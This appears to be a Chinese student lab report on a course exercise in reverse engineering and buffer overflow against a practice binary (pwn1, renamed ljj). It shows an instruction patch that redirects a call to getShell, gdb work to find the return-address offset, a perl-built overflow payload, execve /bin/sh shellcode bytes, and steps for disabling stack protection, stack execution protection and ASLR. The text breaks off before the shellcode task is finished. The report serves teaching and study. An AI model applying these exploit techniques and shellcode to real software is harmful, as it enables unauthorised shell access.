一.逆向及Bof基础实践说明
1本次实践的对象是一个名为pwn1的linux可执行文件。
注:pwn1更名为ljj
1 实践内容
(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
(3)注入一个自己制作的shellcode并运行这段shellcode。
2 基础知识以及准备
笔记本一台
虚拟机
相关linux操作指令
二.实验过程
任务1 直接修改程序机器指令,改变程序执行流程
输入 objdump -d ljj | more
找到函数main,关于调用foo机器指令为“e8d7ffff”
我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行,对应补码为c3ffffff
输入 cp ljj ljj1
输入 vi pwn2;进人编辑,修改对应地址后,反汇编,可以看出all指令正确调用getShell
输入 objdump -d ljj1 | more
运行 ./ljj1,ls
可见shell提示符
任务2 通过构造输入参数,造成BOF攻击,改变程序执行流
输入 objdump -d pwn1 | more,找到getshell即为本次目标。
输入 gdb ljj(确认输入字符串哪几个字符会覆盖到返回地址)
由上图分析可知:如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给ljj,ljj就会运行getShell。
我们已知getshell内存地址为0804847d,下一步就是确定字节序。即是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。
输入 break *0x804849d
输入 info break
输入 r
输入 info r
确定应该输入11111111222222223333333344444444\x7d\x84\x04\x08
编写一个文件,生成上面的字符串。
输入 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
接着,将input的输入,通过管道符“|”,作为ljj的输入。
输入 (cat input; cat) | ./ljj,ls,可见shell提示符
任务3 注入Shellcode并执行
准备一段Shellcode,本次实验我使用的为“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\”
以下为准备工作,即
(1)关闭堆栈保护(gcc -fno-stack-protector)
(2)关闭堆栈执行保护(execstack -s)
(3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)